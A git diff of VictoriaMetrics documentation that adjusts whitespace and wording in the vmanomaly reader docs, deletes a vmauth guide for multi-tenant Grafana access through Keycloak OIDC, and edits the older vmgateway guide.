If `True`, it will verify the certificate using the system's CA store.
|
||||
If a path to a CA bundle file (like `ca.crt`), it will verify the certificate using the provided CA bundle.
|
||||
</td>
|
||||
</tr>
|
||||
@@ -485,7 +485,7 @@ To experiment with MetricsQL queries for `VmReader`, you can use the [VictoriaMe
|
||||
|
||||
`vmanomaly` supports [mutual TLS (mTLS)](https://en.wikipedia.org/wiki/Mutual_authentication){{% available_from "v1.16.3" anomaly %}} for secure communication across its components, including [VmReader](https://docs.victoriametrics.com/anomaly-detection/components/reader/#vm-reader), [VmWriter](https://docs.victoriametrics.com/anomaly-detection/components/writer/#vm-writer), and [Monitoring/Push](https://docs.victoriametrics.com/anomaly-detection/components/monitoring/#push-config-parameters). This allows for mutual authentication between the client and server when querying or writing data to [VictoriaMetrics Enterprise, configured for mTLS](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#mtls-protection).
|
||||
|
||||
mTLS ensures that both the client and server verify each other's identity using certificates, which enhances security by preventing unauthorized access.
|
||||
mTLS ensures that both the client and server verify each other's identity using certificates, which enhances security by preventing unauthorized access.
|
||||
|
||||
To configure mTLS, the following parameters can be set in the [config](#config-parameters):
|
||||
- `verify_tls`: If set to a string, it functions like the `-mtlsCAFile` command-line argument of VictoriaMetrics, specifying the CA bundle to use. Set to `True` to use the system's default certificate store.
|
||||
@@ -521,7 +521,7 @@ reader:
|
||||
|
||||
## VictoriaLogs reader
|
||||
|
||||
{{% available_from "v1.26.0" anomaly %}} `vmanomaly` can read data from [VictoriaLogs stats queries](https://docs.victoriametrics.com/victorialogs/querying/#querying-log-range-stats) endpoint with `VLogsReader`. This reader allows querying and analyzing log data stored in [VictoriaLogs](https://docs.victoriametrics.com/victorialogs/), enabling anomaly detection on metrics generated from logs. **Querying [VictoriaTraces](https://docs.victoriametrics.com/victoriatraces/) is supported with the same reader, as the endpoints for both are equivalent.**
|
||||
{{% available_from "v1.26.0" anomaly %}} `vmanomaly` can read data from [VictoriaLogs stats queries](https://docs.victoriametrics.com/victorialogs/querying/#querying-log-range-stats) endpoint with `VLogsReader`. This reader allows quering and analyzing log data stored in [VictoriaLogs](https://docs.victoriametrics.com/victorialogs/), enabling anomaly detection on metrics generated from logs. **Querying [VictoriaTraces](https://docs.victoriametrics.com/victoriatraces/) is supported with the same reader, as the endpoints for both are equivalent.**
|
||||
|
||||
Its queries should be expressed in [LogsQL*](https://docs.victoriametrics.com/victorialogs/logsql/) language that both VictoriaLogs and VictoriaTraces support, with the focus on using [stats pipe](https://docs.victoriametrics.com/victorialogs/logsql/#stats-pipe) functions to calculate metrics from logs.
|
||||
|
||||
@@ -658,7 +658,7 @@ You can also access **embedded version of the playground below** (VictoriaLogs d
|
||||
<tr>
|
||||
<th>Parameter</th>
|
||||
<th>Example</th>
|
||||
<th><span style="white-space: nowrap;">Description</span></th>
|
||||
<th><span style="white-space: nowrap;">Description</span></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
@@ -799,8 +799,8 @@ Frequency of the points returned. Will be converted to `/select/stats_query_rang
|
||||
`false`
|
||||
</td>
|
||||
<td>
|
||||
Verify TLS certificate. If `False`, it will not verify the TLS certificate.
|
||||
If `True`, it will verify the certificate using the system's CA store.
|
||||
Verify TLS certificate. If `False`, it will not verify the TLS certificate.
|
||||
If `True`, it will verify the certificate using the system's CA store.
|
||||
If a path to a CA bundle file (like `ca.crt`), it will verify the certificate using the provided CA bundle.
|
||||
</td>
|
||||
</tr>
|
||||
@@ -808,7 +808,7 @@ If a path to a CA bundle file (like `ca.crt`), it will verify the certificate us
|
||||
<td>
|
||||
<span style="white-space: nowrap;">`tls_cert_file`</span>
|
||||
</td>
|
||||
<td>
|
||||
<td>
|
||||
|
||||
`path/to/cert.crt`
|
||||
</td>
|
||||
@@ -922,7 +922,7 @@ reader:
|
||||
step: '2m' # overrides global `sampling_period` of 1m
|
||||
# other per-query parameters as needed
|
||||
# other reader-level parameters as needed
|
||||
|
||||
|
||||
# other config sections, like models, schedulers, writer, ...
|
||||
```
|
||||
|
||||
|
||||
@@ -69,7 +69,7 @@ reader:
|
||||
query_from_last_seen_timestamp: False
|
||||
verify_tls: False
|
||||
# other reader settings
|
||||
|
||||
|
||||
writer:
|
||||
class: "vm"
|
||||
datasource_url: http://localhost:8428
|
||||
@@ -128,7 +128,7 @@ reader:
|
||||
query_from_last_seen_timestamp: False
|
||||
verify_tls: False
|
||||
# other reader settings
|
||||
|
||||
|
||||
writer:
|
||||
class: "vm"
|
||||
datasource_url: http://localhost:8428
|
||||
@@ -157,7 +157,7 @@ By default, `restore_state` is set to `false`, meaning the service will start fr
|
||||
### Benefits
|
||||
|
||||
This feature improves the experience of using the anomaly detection service in several ways:
|
||||
- **Operational continuity**: Production of anomaly scores is resumed from the last known state, minimizing downtime, especially useful in combination with [periodic schedulers](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/#periodic-scheduler) with `start_from` argument explicitly defined.
|
||||
- **Operational continuity**: Production of anomaly scores is resumed from the last known state, minimizing downtime, especially useful in conbination with [periodic schedulers](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/#periodic-scheduler) with `start_from` argument explicitly defined.
|
||||
- **Resource efficiency**: Avoids unnecessary resource and time consumption by not retraining models that have already been trained and remain actual, or querying redundant data from VictoriaMetrics TSDB.
|
||||
- **Config hot-reloading**: Allows for on-the-fly configuration changes with the reuse of unchanged models/data/scheduler combinations, avoiding unnecessary retraining, additional resource utilization and manual service restarts. Please refer to the [hot-reload](https://docs.victoriametrics.com/anomaly-detection/components/#hot-reload) section for more details on how to use this feature.
|
||||
|
||||
@@ -210,7 +210,7 @@ reader:
|
||||
query_from_last_seen_timestamp: False
|
||||
verify_tls: False
|
||||
# other reader settings
|
||||
|
||||
|
||||
writer:
|
||||
class: "vm"
|
||||
datasource_url: http://localhost:8428
|
||||
@@ -320,7 +320,7 @@ The section is **backward-compatible and disabled by default**, meaning that all
|
||||
- The service is restarted with `restore_state` set to `false`, which triggers a cleanup of all stored artifacts.
|
||||
- The models are marked as outdated once scheduled re-fitting is due, leading to retraining and replacement of previous artifacts.
|
||||
|
||||
`ttl` argument defines the time-to-live period for model instances and their training data. It should be a valid period string (e.g., `7d` for 7 days, `30d` for 30 days, etc.). If a model instance or its training data has not been used for inference or refitting within this period, it will be considered stale and eligible for cleanup.
|
||||
`ttl` argument defines the time-to-live period for model instances and their training data. It should be a valid period string (e.g., `7d` for 7 days, `30d` for 30 days, etc.). If a model instance or its training data has not been used for inference or refitting within this period, it will be considered stale and eligible for cleanup.
|
||||
|
||||
> If set higher than respective scheduler's `fit_every` period, the ttl will have no effect, as models will always be refitted before they become stale.
|
||||
|
||||
|
||||
@@ -1,463 +0,0 @@
|
||||
Using [Grafana](https://grafana.com/) with [vmauth](https://docs.victoriametrics.com/victoriametrics/vmauth/) is an effective way to provide [multi-tenant](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/#multitenancy) access to your metrics, logs, and traces.
|
||||
vmauth provides a way to authenticate users using [JWT tokens](https://en.wikipedia.org/wiki/JSON_Web_Token) {{% available_from "v1.138.0" %}} issued by an external identity provider.
|
||||
Those tokens can include information about the user and their tenant, which vmauth can use to restrict access so users only see metrics in their own tenant.
|
||||
|
||||
This guide walks through configuring Grafana with OIDC to query metrics from both single-node and cluster deployments of VictoriaMetrics.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
* [Docker](https://docs.docker.com/engine/install/) and [docker compose](https://docs.docker.com/compose/) must be installed.
|
||||
* [jq tool](https://jqlang.org/)
|
||||
* Add `grafana` and `keycloak` hosts to the `/etc/hosts` file, pointing to `127.0.0.1`.
|
||||
|
||||
```
|
||||
# /etc/hosts
|
||||
|
||||
# Setup vmauth - Multi-Tenant Access with Grafana & OIDC
|
||||
# https://docs.victoriametrics.com/guides/grafana-vmauth-openid-configuration/#prerequisites
|
||||
127.0.0.1 keycloak grafana
|
||||
```
|
||||
|
||||
## Identity provider
|
||||
|
||||
The identity provider must be able to issue JWT tokens with the following `vm_access` claim:
|
||||
|
||||
```json
|
||||
{
|
||||
"exp": 1772019469,
|
||||
"vm_access": {
|
||||
"metrics_account_id": 0,
|
||||
"metrics_project_id": 0,
|
||||
"metrics_extra_labels": [
|
||||
"team=dev"
|
||||
],
|
||||
"metrics_extra_filters": [
|
||||
"{env=~\"aws|gcp\",cluster!=\"production\"}"
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
> Note: all properties inside `vm_access` are optional and could be omitted. `vm_access: {}` is a valid claim value.
|
||||
|
||||
Some identity providers support only string-based claim values, and vmauth supports these as well:
|
||||
```json
|
||||
{
|
||||
"exp": 1772019469,
|
||||
"vm_access": "{\"metrics_account_id\": 0, \"metrics_project_id\": 0}"
|
||||
}
|
||||
```
|
||||
|
||||
See details about all supported options in the [vmauth - JWT token auth proxy](https://docs.victoriametrics.com/victoriametrics/vmauth/#jwt-token-auth-proxy).
|
||||
|
||||
### Setup Keycloak
|
||||
|
||||
[Keycloak](https://www.keycloak.org/) is an open-source identity provider that can issue JWT tokens.
|
||||
|
||||
Add the following section to your `compose.yaml` file to configure Keycloak:
|
||||
|
||||
```yaml
|
||||
# compose.yaml
|
||||
services:
|
||||
keycloak:
|
||||
image: quay.io/keycloak/keycloak:26.3
|
||||
command:
|
||||
- start-dev
|
||||
- --http-port=3001
|
||||
ports:
|
||||
- 127.0.0.1:3001:3001
|
||||
environment:
|
||||
KC_HOSTNAME_BACKCHANNEL_DYNAMIC: "true"
|
||||
KC_HOSTNAME: http://keycloak:3001/
|
||||
KC_BOOTSTRAP_ADMIN_USERNAME: admin
|
||||
KC_BOOTSTRAP_ADMIN_PASSWORD: change_me
|
||||
volumes:
|
||||
- keycloakdata:/opt/keycloak/data
|
||||
|
||||
volumes:
|
||||
keycloakdata: {}
|
||||
```
|
||||
|
||||
Start the services:
|
||||
```sh
|
||||
docker compose up
|
||||
```
|
||||
|
||||
Once Keycloak is available, follow the steps below to configure the OIDC client and users for Grafana:
|
||||
|
||||
### Create client
|
||||
|
||||
1. Open [http://keycloak:3001](http://keycloak:3001).
|
||||
1. Log in with credentials.
|
||||
- Username: `admin`
|
||||
- Password: `change_me`
|
||||
1. Go to `Clients` -> `Create client`.
|
||||
- Use `OpenID Connect` as `Client Type`.
|
||||
- Specify `grafana` as `Client ID`.
|
||||
- Click `Next`.
|
||||

|
||||
1. Enable `Client authentication`
|
||||
- Enable `Authorization`.
|
||||
- Enable `Direct access grants` (this is only required for testing the token but it can be disabled in production)
|
||||

|
||||
- Click `Next`.
|
||||
1. Add the Grafana URL as `Root URL`. For example, `http://grafana:3000`.
|
||||

|
||||
- Click `Save`.
|
||||
1. Go to `Clients` -> `grafana` -> `Client scopes`.
|
||||

|
||||
- Click on `grafana-dedicated` -> `Configure a new mapper` -> `User attribute`.
|
||||

|
||||
1. Configure the mapper as follows:
|
||||
- Set `Name` to `vm_access`.
|
||||
- Set `User Attribute` to `vm_access`.
|
||||
- Set `Token Claim Name` to `vm_access`.
|
||||
- Set `Claim JSON Type` to `JSON`.
|
||||
- Enable `Add to ID token` and `Add to access token`.
|
||||
|
||||

|
||||
- Click `Save`.
|
||||
|
||||
### Create users
|
||||
|
||||
1. Go to `Realm settings` -> `User profile`.
|
||||
- Click `Create attribute`.
|
||||
- Specify `vm_access` as `Attribute [Name]`.
|
||||

|
||||
- Click `Create`.
|
||||
1. Go to `Users` -> `Add user`.
|
||||
- Mark email as verified.
|
||||
- Specify `test-dev` as `Username`.
|
||||
- Specify `test-dev@example.com` as `Email`.
|
||||
- Specify `vm_access` as `{"metrics_account_id": 1, "metrics_project_id": 2, "metrics_extra_labels": ["team=dev"]}`.
|
||||
- Press `Create`
|
||||

|
||||
- Go to `Users` -> `test-dev` user -> `Credentials` tab.
|
||||
- Press `Set Password`.
|
||||
- Type the password `testpass`.
|
||||
- Disable `Temporary` option
|
||||
- Press `Save` and confirm.
|
||||
|
||||
1. Go to `Users` -> `admin` user.
|
||||
- Mark email as verified.
|
||||
- Specify `admin@example.com` as `Email`.
|
||||
- Specify `vm_access` as `{"metrics_account_id": 1, "metrics_project_id": 2, "metrics_extra_labels": ["team=admin"]}`.
|
||||
- Click `Save`.
|
||||
|
||||
### Test identity provider
|
||||
|
||||
Gather the following information needed to configure Grafana:
|
||||
|
||||
1. The Realm name must be `master`. To get the name, go to `Realm settings` -> `General` and copy the `Name`.
|
||||
1. The Client ID must be `grafana`. To get the ID, go to `Clients` -> `grafana` -> `Settings` and copy the `Client ID`.
|
||||
1. The Client Secret is dynamically generated. To get the secret, go to `Clients` -> `grafana` -> `Credentials` and copy the `Client Secret`.<br>
|
||||

|
||||
<br>
|
||||
|
||||
Test that everything is working by requesting a token using `curl`:
|
||||
|
||||
```sh
|
||||
TOKEN=$(curl --fail -s -X POST "http://keycloak:3001/realms/master/protocol/openid-connect/token" \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
-d "client_id=grafana" \
|
||||
-d "client_secret={CLIENT_SECRET}" \
|
||||
-d "grant_type=password" \
|
||||
-d "username=test-dev" \
|
||||
-d "password=testpass" | jq -r '.access_token') && echo $TOKEN
|
||||
```
|
||||
|
||||
<!--
|
||||
fish example:
|
||||
set TOKEN (curl --fail -s -X POST "http://keycloak:3001/realms/master/protocol/openid-connect/token" \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
-d "client_id=grafana" \
|
||||
-d "client_secret={CLIENT_SECRET}" \
|
||||
-d "grant_type=password" \
|
||||
-d "username=test-dev" \
|
||||
-d "password=testpass" | jq -r '.access_token'); and echo $TOKEN
|
||||
-->
|
||||
|
||||
The response should contain a valid JWT token with the `vm_access` claim.
|
||||
Use [jwt.io](https://jwt.io/) to decode and verify that the vm_access claim is present with the expected values.
|
||||
|
||||
> Please note that the issued token is short-lived, so you might need to refresh it before use in later chapters.
|
||||
|
||||
## VictoriaMetrics
|
||||
|
||||
### Storage and scraping
|
||||
|
||||
First, create a `scrape.yaml` file with vmagent scrape configuration to ingest data into vmsingle and vmstorage for testing purposes:
|
||||
|
||||
```yaml
|
||||
# scrape.yaml
|
||||
scrape_configs:
|
||||
- job_name: stat
|
||||
metric_relabel_configs:
|
||||
# The team label showcases extra_filter functionality used with vmsingle.
|
||||
- if: "{instance =~ 'vmauth.*'}"
|
||||
action: replace
|
||||
target_label: team
|
||||
replacement: admin
|
||||
- if: "{instance =~ 'vmagent.*'}"
|
||||
action: replace
|
||||
target_label: team
|
||||
replacement: dev
|
||||
|
||||
# The vm_account_id and vm_project_id labels showcase tenant functionality used with vmcluster
|
||||
- if: "{instance =~ 'vmauth.*'}"
|
||||
action: replace
|
||||
target_label: vm_account_id
|
||||
replacement: '1'
|
||||
- if: "{instance =~ 'vmauth.*'}"
|
||||
action: replace
|
||||
target_label: vm_project_id
|
||||
replacement: '2'
|
||||
- if: "{instance =~ 'vmagent.*'}"
|
||||
action: replace
|
||||
target_label: vm_account_id
|
||||
replacement: '1'
|
||||
- if: "{instance =~ 'vmagent.*'}"
|
||||
action: replace
|
||||
target_label: vm_project_id
|
||||
replacement: '2'
|
||||
static_configs:
|
||||
- targets:
|
||||
- vmagent:8429
|
||||
- vmauth:8427
|
||||
|
||||
```
|
||||
|
||||
Add VictoriaMetrics single-node and cluster to the `compose.yaml` file.
|
||||
These services will be used to store metrics scraped by vmagent and to query them via Grafana using vmauth.
|
||||
|
||||
Relabeling rules will add the `team` label to the scraped metrics in order to test multi-tenant access.
|
||||
Metrics from `vmagent` will be labeled with `team=dev` and metrics from `vmauth` will be labeled with `team=admin`.
|
||||
|
||||
vmagent will write data into VictoriaMetrics single-node and cluster (with tenant `1:2`).
|
||||
|
||||
```yaml
|
||||
# compose.yaml
|
||||
services:
|
||||
vmsingle:
|
||||
image: victoriametrics/victoria-metrics:v1.138.0
|
||||
|
||||
vmstorage:
|
||||
image: victoriametrics/vmstorage:v1.138.0-cluster
|
||||
|
||||
vminsert:
|
||||
image: victoriametrics/vminsert:v1.138.0-cluster
|
||||
command:
|
||||
- -storageNode=vmstorage:8400
|
||||
|
||||
vmselect:
|
||||
image: victoriametrics/vmselect:v1.138.0-cluster
|
||||
command:
|
||||
- -storageNode=vmstorage:8401
|
||||
|
||||
vmagent:
|
||||
image: victoriametrics/vmagent:v1.138.0
|
||||
volumes:
|
||||
- ./scrape.yaml:/etc/vmagent/config.yaml
|
||||
command:
|
||||
- -promscrape.config=/etc/vmagent/config.yaml
|
||||
- -remoteWrite.url=http://vminsert:8480/insert/multitenant/prometheus/api/v1/write
|
||||
- -remoteWrite.url=http://vmsingle:8428/api/v1/write
|
||||
```
|
||||
|
||||
### Vmauth
|
||||
|
||||
Before we start, let's explore the concept of placeholders supported in the vmauth configuration.
|
||||
Placeholders can be used inside the `url_prefix` property to restrict access by setting the [tenant](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/#url-format) or [extra filters](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#prometheus-querying-api-enhancements).
|
||||
|
||||
A placeholder value is taken from the authenticated JWT token.
|
||||
The following placeholders are supported:
|
||||
- `{{.MetricsTenant}}` placeholder is a combination of `vm_access.metrics_account_id` and `vm_access.metrics_project_id` delimited by `:`.
|
||||
- `{{.MetricsExtraLabels}}` placeholder is substituted from `vm_access.metrics_extra_labels` claim property.
|
||||
- `{{.MetricsExtraFilters}}` placeholder is substituted from `vm_access.metrics_extra_filters` claim property.
|
||||
|
||||
Now, let's create a vmauth configuration file `auth.yaml` that enables OIDC authorization using the [identity provider](https://docs.victoriametrics.com/guides/grafana-vmauth-openid-configuration/#identity-provider).
|
||||
For cluster access, we use the `{{.MetricsTenant}}` placeholder to route requests to a specific tenant.
|
||||
For single-node access, we use `{{.MetricsExtraLabels}}`.
|
||||
Read more about templating in vmauth [docs](https://docs.victoriametrics.com/victoriametrics/vmauth/#jwt-claim-based-request-templating).
|
||||
|
||||
```yaml
|
||||
# auth.yaml
|
||||
users:
|
||||
- jwt:
|
||||
oidc:
|
||||
issuer: 'http://keycloak:3001/realms/master'
|
||||
url_map:
|
||||
- src_paths:
|
||||
- "/insert/.*"
|
||||
drop_src_path_prefix_parts: 1
|
||||
url_prefix: "http://vminsert:8480/insert/{{.MetricsTenant}}/prometheus/"
|
||||
- src_paths:
|
||||
- "/select/.*"
|
||||
drop_src_path_prefix_parts: 1
|
||||
url_prefix: "http://vmselect:8481/select/{{.MetricsTenant}}/prometheus/"
|
||||
- src_paths:
|
||||
- "/single/.*"
|
||||
drop_src_path_prefix_parts: 1
|
||||
url_prefix: "http://vmsingle:8428?extra_label={{.MetricsExtraLabels}}"
|
||||
```
|
||||
|
||||
Now add the vmauth service to `compose.yaml`:
|
||||
|
||||
```yaml
|
||||
# compose.yaml
|
||||
services:
|
||||
vmauth:
|
||||
image: docker.io/victoriametrics/vmauth:v1.138.0
|
||||
ports:
|
||||
- 8427:8427
|
||||
volumes:
|
||||
- ./auth.yaml:/auth.yaml
|
||||
command:
|
||||
- -auth.config=/auth.yaml
|
||||
```
|
||||
|
||||
### Test vmauth
|
||||
|
||||
Start the services:
|
||||
|
||||
```sh
|
||||
docker compose up
|
||||
```
|
||||
|
||||
Use the token obtained in the [Test identity provider](https://docs.victoriametrics.com/guides/grafana-vmauth-openid-configuration/#test-identity-provider) section to test vmauth configuration.
|
||||
|
||||
Cluster select:
|
||||
```sh
|
||||
curl --fail http://localhost:8427/select/api/v1/status/buildinfo -H "Authorization: Bearer $TOKEN"
|
||||
|
||||
# Output:
|
||||
# {"status":"success","data":{"version":"2.24.0"}}
|
||||
```
|
||||
|
||||
Cluster insert:
|
||||
```sh
|
||||
curl --fail http://localhost:8427/insert/api/v1/write -H "Authorization: Bearer $TOKEN" -i
|
||||
# Output
|
||||
# HTTP/1.1 204 No Content
|
||||
# ...
|
||||
```
|
||||
|
||||
Single select:
|
||||
```sh
|
||||
curl --fail http://localhost:8427/single/api/v1/status/buildinfo -H "Authorization: Bearer $TOKEN"
|
||||
|
||||
# Output:
|
||||
# {"status":"success","data":{"version":"2.24.0"}}
|
||||
```
|
||||
|
||||
## Grafana
|
||||
|
||||
### Setup
|
||||
|
||||
Add the Grafana service to the `compose.yaml` file.
|
||||
This configuration enables OAuth authentication using the previously configured Keycloak service as the identity provider.
|
||||
Don't forget to replace the `{CLIENT_SECRET}` placeholder with the actual client secret gathered earlier.
|
||||
|
||||
```yaml
|
||||
# compose.yaml
|
||||
services:
|
||||
grafana:
|
||||
image: grafana/grafana:12.1.0
|
||||
ports:
|
||||
- 3000:3000
|
||||
environment:
|
||||
GF_SERVER_ROOT_URL: http://grafana:3000
|
||||
GF_AUTH_GENERIC_OAUTH_ENABLED: true
|
||||
GF_AUTH_GENERIC_OAUTH_ALLOW_SIGN_UP: true
|
||||
GF_AUTH_GENERIC_OAUTH_NAME: keycloak
|
||||
GF_AUTH_GENERIC_OAUTH_CLIENT_ID: grafana
|
||||
GF_AUTH_GENERIC_OAUTH_CLIENT_SECRET: '{CLIENT_SECRET}'
|
||||
GF_AUTH_GENERIC_OAUTH_EMAIL_ATTRIBUTE_PATH: email
|
||||
GF_AUTH_GENERIC_OAUTH_LOGIN_ATTRIBUTE_PATH: username
|
||||
GF_AUTH_GENERIC_OAUTH_NAME_ATTRIBUTE_PATH: full_name
|
||||
GF_AUTH_GENERIC_OAUTH_SCOPES: openid profile email
|
||||
GF_AUTH_GENERIC_OAUTH_USE_REFRESH_TOKEN: true
|
||||
GF_AUTH_GENERIC_OAUTH_AUTH_URL: http://keycloak:3001/realms/master/protocol/openid-connect/auth
|
||||
GF_AUTH_GENERIC_OAUTH_TOKEN_URL: http://keycloak:3001/realms/master/protocol/openid-connect/token
|
||||
GF_AUTH_GENERIC_OAUTH_API_URL: http://keycloak:3001/realms/master/protocol/openid-connect/userinfo
|
||||
GF_AUTH_GENERIC_OAUTH_ROLE_ATTRIBUTE_PATH: contains(groups[*], 'grafana-editor') && 'Editor' || 'GrafanaAdmin'
|
||||
volumes:
|
||||
- grafanadata:/var/lib/grafana/
|
||||
|
||||
volumes:
|
||||
grafanadata: {}
|
||||
```
|
||||
|
||||
Alternatively, OAuth authentication can be enabled via the `grafana.ini` configuration file.
|
||||
Don't forget to mount it to the Grafana service at `/etc/grafana/grafana.ini`.
|
||||
|
||||
```ini
|
||||
# grafana.ini
|
||||
|
||||
[server]
|
||||
root_url = http://grafana:3000
|
||||
|
||||
[auth.generic_oauth]
|
||||
enabled = true
|
||||
allow_sign_up = true
|
||||
name = keycloak
|
||||
client_id = grafana
|
||||
client_secret = {CLIENT_SECRET}
|
||||
scopes = openid profile email
|
||||
auth_url = http://keycloak:3001/realms/master/protocol/openid-connect/auth
|
||||
token_url = http://keycloak:3001/realms/master/protocol/openid-connect/token
|
||||
api_url = http://keycloak:3001/realms/master/protocol/openid-connect/userinfo
|
||||
use_refresh_token = true
|
||||
```
|
||||
|
||||
After starting Grafana with the new config, you should be able to log in [http://grafana:3000](http://grafana:3000) using your [identity provider](https://docs.victoriametrics.com/guides/grafana-vmauth-openid-configuration/#identity-provider).
|
||||
|
||||

|
||||
|
||||
### Datasource
|
||||
|
||||
Create two Prometheus datasources in Grafana with the following URLs: `http://vmauth:8427/select` and `http://vmauth:8427/single`, pointing to the `vmselect` and `vmsingle` services, respectively. Make sure the authentication method is set to `Forward OAuth identity`.
|
||||
|
||||

|
||||
|
||||
You can also use the VictoriaMetrics [Grafana datasource](https://github.com/VictoriaMetrics/victoriametrics-datasource) plugin.
|
||||
See installation instructions in [Grafana datasource - Installation](https://docs.victoriametrics.com/victoriametrics/victoriametrics-datasource/#installation).
|
||||
|
||||
Users with the `vm_access` claim will be able to query metrics from the specified tenant with extra filters applied.
|
||||
|
||||
### Test access
|
||||
|
||||
The Grafana datasources configuration should be as follows:
|
||||
|
||||

|
||||
<figcaption style="text-align: center; font-style: italic;">Grafana vmauth datasources</figcaption>
|
||||
|
||||
Let's log in as a dev user in the VictoriaMetrics cluster and single versions.
|
||||
Both data sources should return the same metrics.
|
||||
|
||||
The only difference is the filter: for the VictoriaMetrics cluster, the `vmauth-cluster` data source must restrict results by `tenant=1:2`.
|
||||
|
||||

|
||||
<figcaption style="text-align: center; font-style: italic;">Logged in as dev user to Grafana dashboard on VictoriaMetrics Cluster</figcaption>
|
||||
|
||||
While on VictoriaMetrics single `vmauth-single` must apply the `team=dev` label filter instead.
|
||||
|
||||

|
||||
<figcaption style="text-align: center; font-style: italic;">Logged in as dev user to Grafana dashboard on VictoriaMetrics Single</figcaption>
|
||||
|
||||
Let's log in as an admin user. The `vmauth-single` data source should differ from the previous user, while `vmauth-cluster` should remain the same because both users use tenant `1:2`.
|
||||
|
||||
The only difference is the filter: in the VictoriaMetrics cluster `vmauth-cluster`, the data source must restrict results by `tenant=1:2`.
|
||||
|
||||
|
||||

|
||||
<figcaption style="text-align: center; font-style: italic;">Logged in as admin user to Grafana dashboard on VictoriaMetrics Cluster</figcaption>
|
||||
|
||||
While in VictoriaMetrics single `vmauth-single` must apply the `team=admin` label filter instead.
|
||||
|
||||

|
||||
<figcaption style="text-align: center; font-style: italic;">Logged in as admin user to Grafana dashboard on VictoriaMetrics Single</figcaption>
|
||||
|
||||
## Summary
|
||||
|
||||
In this guide, we demonstrated how to set up vmauth with OIDC authorization using Keycloak as the identity provider. We also showed how to provide multi-tenant access to your metrics stored in VictoriaMetrics, single-node or cluster, using Grafana and vmauth with OIDC authorization enabled.
|
||||
|
||||
@@ -1,14 +0,0 @@
|
||||
---
|
||||
weight: 5
|
||||
title: Setup vmauth - Multi-Tenant Access with Grafana & OIDC
|
||||
menu:
|
||||
docs:
|
||||
parent: guides
|
||||
weight: 5
|
||||
tags:
|
||||
- metrics
|
||||
- guide
|
||||
aliases:
|
||||
- /guides/grafana-vmauth-openid-configuration.html
|
||||
---
|
||||
{{% content "README.md" %}}
|
||||
|
Before Width: | Height: | Size: 18 KiB |
|
Before Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 14 KiB |
|
Before Width: | Height: | Size: 18 KiB |
|
Before Width: | Height: | Size: 31 KiB |
|
Before Width: | Height: | Size: 44 KiB |
|
Before Width: | Height: | Size: 16 KiB |
|
Before Width: | Height: | Size: 24 KiB |
|
Before Width: | Height: | Size: 62 KiB |
|
Before Width: | Height: | Size: 60 KiB |
|
Before Width: | Height: | Size: 40 KiB |
|
Before Width: | Height: | Size: 16 KiB |
|
Before Width: | Height: | Size: 33 KiB |
|
Before Width: | Height: | Size: 60 KiB |
|
Before Width: | Height: | Size: 73 KiB |
|
Before Width: | Height: | Size: 22 KiB |
|
Before Width: | Height: | Size: 34 KiB |
@@ -6,8 +6,6 @@ build:
|
||||
sitemap:
|
||||
disable: true
|
||||
---
|
||||
> vmgateway access control feature has been deprecated. Consider following the vmauth guide [Setup vmauth - Multi-Tenant Access with Grafana & OIDC](https://docs.victoriametrics.com/guides/grafana-vmauth-openid-configuration/) instead. See [migration](https://docs.victoriametrics.com/victoriametrics/vmgateway/#access-control-migration-to-vmauth) docs.
|
||||
|
||||
Using [Grafana](https://grafana.com/) with [vmgateway](https://docs.victoriametrics.com/victoriametrics/vmgateway/) is a great way to provide [multi-tenant](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/#multitenancy) access to your metrics.
|
||||
vmgateway provides a way to authenticate users using [JWT tokens](https://en.wikipedia.org/wiki/JSON_Web_Token) issued by an external identity provider.
|
||||
Those tokens can include information about the user and the tenant they belong to, which can be used
|
||||
@@ -40,7 +38,7 @@ See details about all supported options in the [vmgateway documentation](https:/
|
||||
|
||||
### Configuration example for Keycloak
|
||||
|
||||
[Keycloak](https://www.keycloak.org/) is an open-source identity service that can issue JWT tokens.
|
||||
[Keycloak](https://www.keycloak.org/) is an open source identity service that can be used to issue JWT tokens.
|
||||
|
||||
1. Log in with admin credentials to your Keycloak instance
|
||||
1. Go to `Clients` -> `Create`.<br>
|
||||
@@ -85,9 +83,9 @@ See details about all supported options in the [vmgateway documentation](https:/
|
||||

|
||||
Click `Save`.
|
||||
|
||||
## Configure Grafana
|
||||
## Configure grafana
|
||||
|
||||
To forward JWT tokens, Grafana must be configured to use OpenID Connect authentication as follows:
|
||||
To forward JWT tokens Grafana must be configured to use OpenID Connect authentication as follows:
|
||||
|
||||
```ini
|
||||
[auth.generic_oauth]
|
||||
@@ -102,7 +100,7 @@ token_url = http://localhost:3001/realms/{KEYCLOAK_REALM}/protocol/openid-connec
|
||||
api_url = http://localhost:3001/realms/{KEYCLOAK_REALM}/protocol/openid-connect/userinfo
|
||||
```
|
||||
|
||||
After restarting Grafana with the new config, you should be able to log in using your identity provider.
|
||||
After restarting Grafana with the new config you should be able to log in using your identity provider.
|
||||
|
||||
## Start vmgateway
|
||||
|
||||
@@ -120,7 +118,7 @@ In order to enable multi-tenant access, you must also specify the `-clusterMode=
|
||||
-read.url=http://localhost:8481
|
||||
```
|
||||
|
||||
With this configuration, vmgateway will use the `vm_access` claim from the JWT token to restrict access to metrics.
|
||||
With this configuration vmgateway will use the `vm_access` claim from the JWT token to restrict access to metrics.
|
||||
For example, if the JWT token contains the following `vm_access` claim:
|
||||
|
||||
```json
|
||||
@@ -133,21 +131,21 @@ For example, if the JWT token contains the following `vm_access` claim:
|
||||
}
|
||||
}
|
||||
```
|
||||
> Note: in case `project_id` is not specified, the default value `0` is used.
|
||||
> Note: in case `project_id` is not specified, default value `0` is used.
|
||||
|
||||
Then vmgateway will proxy the request to an endpoint with the following path:
|
||||
Then vmgateway will proxy request to an endpoint with the following path:
|
||||
|
||||
```sh
|
||||
http://localhost:8480/select/0:0/
|
||||
```
|
||||
|
||||
This allows us to restrict access to specific tenants without having to create separate datasources in Grafana,
|
